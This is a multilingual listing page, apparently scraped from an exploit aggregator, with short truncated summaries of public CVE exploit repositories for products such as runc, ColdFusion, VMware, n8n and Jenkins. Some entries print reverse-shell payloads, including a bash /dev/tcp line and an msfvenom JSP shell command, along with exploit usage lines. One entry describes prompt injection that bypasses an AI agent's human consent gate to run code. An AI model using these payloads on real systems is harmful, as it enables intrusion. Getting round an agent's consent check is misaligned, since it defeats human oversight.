CVE-2022-41544

CVE-2022-41544 利用脚本 此仓库包含一个用于利用 GetSimple CMS 中 CVE-2022-41544 漏洞的脚本。该脚本执行多个步骤：检查漏洞、泄漏 API 密钥、设置 Cookie、获取 CSRF 令牌、上传 shell 以及触发 shell。 变更与改进 1. 弃用警告处理 ：移除了不再需要的 telnetlib 导入，该模块对脚本功能无影响。 2. 增强的错误处理 ：为 HTTP 请求和 XML 解析增加了更稳健的错误处理。 3. 改进的用户反馈 ：为每一步提供详细反馈，帮助用户了解脚本进度和遇到的问题。 4. 输入验证...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE Использование : root@kitploit: python3 exploit.py https://host:9443/ ArbitraryShellName.jsp...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните:...

CVE-2019-16278

CVE-2019-16278 💻 -h3x0v3rl0rd- nostromo 1.9.6 - Exécution de code à distance...

CVE-2018-16763

CVE-2018-16763 Exploit Title: fuel CMS 1.4.1 - Exécution de code à distance Script Python3 - 💻 Ce script a été développé par h3x0v3rl0rd...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC HTTP.sys의 원격 코드 실행 MS15-034...

CVE-2009-2265

Версия: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Пример :...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access и Identity Manager: RCE через SSTI. CVE-2022-22954 - PoC SSTI Использование: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan...

CVE-2021-40870

CVE-2021-40870 Aviatrix permet à un utilisateur authentifié d'exécuter du code arbitraire...

CVE-2025-68613

CVE-2025-68613 — n8n RCE via Injection d'Expression À des fins éducatives et de recherche en sécurité autorisée uniquement. Aperçu Vulnérabilité RCE critique CVSS 9.9 dans la plateforme d'automatisation de workflows n8n. Les utilisateurs authentifiés peuvent exécuter des commandes OS arbitraires...

CVE-2025-31722

CVE-2025-31722 — Jenkins Templating Engine RCE À des fins éducatives et de recherche en sécurité autorisées uniquement. Description Vulnérabilité de contournement du sandbox dans le plugin Jenkins Templating Engine JTE = 2.5.3 qui permet à un utilisateur peu privilégié d'exécuter du code arbitrai...

CVE-2021-22893

CVE-2021-22893 Pulse Secure CVE-2021-22893를 악용하기 위한 개념 증명PoC 스크립트입니다. 사용법 Pulse Secure VPN에서 RCE를 실행합니다. root@kitploit: chmod +x exploit.sh ./exploit.sh 10.0.0.1 ./exploit.sh -l ./exploit.sh -l IPList.txt...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Client VMware vSphere - Téléchargement de fichier non autorisé menant à une exécution de code à distance RCE Le vSphere Web Client HTML5 est essentiellement une interface d'administration qui permet la gestion d'une installation vSphere. Le client vSphere offre à un...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE Ce dépôt contient mon code d'exploitation pour la vulnérabilité RCE dans Adobe ColdFusion 2021. Description de l'exploit L'exploit envoie une requête POST contenant un reverse shell JSP vers /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. En...

CVE-2025-69516

CVE-2025-69516 - Удаленное выполнение кода в Tactical RMM Этот репозиторий содержит Python-скрипт, который автоматизирует эксплуатацию уязвимости SSTI CVE-2025-69516 в Tactical RMM. Он был протестирован на версии 1.3.1. Использование root@kitploit: python xpl.py -d api.tactical.xyz -t SESSIONTOKE...

Rocket.Chat-Automated-Account-Takeover-RCE-CVE-2021-22911

Rocket.Chat Prise de contrôle automatisée de compte non authentifié menant à une exécution de code à distance RCE CVE-2021-22911 Preuve de concept complète d'exécution de code à distance non authentifié pour Rocket.Chat 3.12.1 CVE-2021-22911 Le PoC original créé par Enox. Actuellement, cela ne...

CVE-2022-26809-RCE

CVE-2022-26809-RCE CVE-2022-26809-RCE https://satoshidisk.com/pay/CFGspB...

CVE-2025-25347

CVE-2025-25347 Aperçu Cet outil est utilisé pour tester la vulnérabilité CVE-2025-25347 sur QingLong Panel, une plateforme open-source pour la gestion de l'automatisation des tâches. Cette vulnérabilité permet l'exécution de code à distance RCE car le panel n'applique pas de validation d'entrée e...

CVE-Requests-1896609

CVE 요청 1896609 - feiskyer/mcp-kubernetes-server 요약 이 보고서는 feiskyer/mcp-kubernetes-server 패키지에서 발견된 두 가지 심각한 보안 취약점에 대해 자세히 설명합니다. 배포 시 서버는 Kubernetes 클러스터에 대한 제한적이고 안전한 접근을 제공하기 위한 MCP 도구인 kubectl을 노출합니다. 그러나 불충분한 입력 검증으로 인해 두 가지 별개의 공격 벡터가 발생합니다. OS 명령 주입: 공격자는 셸 메타문자예: ,, ;를 사용하여 명령을 연결함으로써 명령...

CVE-2026-78379

Improper neutralization of input used for LLM prompting in the pythonrepl tool in Amazon Strands Agents Tools before 0.8.5 might allow remote actors to execute arbitrary Python code on the agent's host by bypassing the human consent gate, via a crafted prompt that forwards noninteractivemode as a...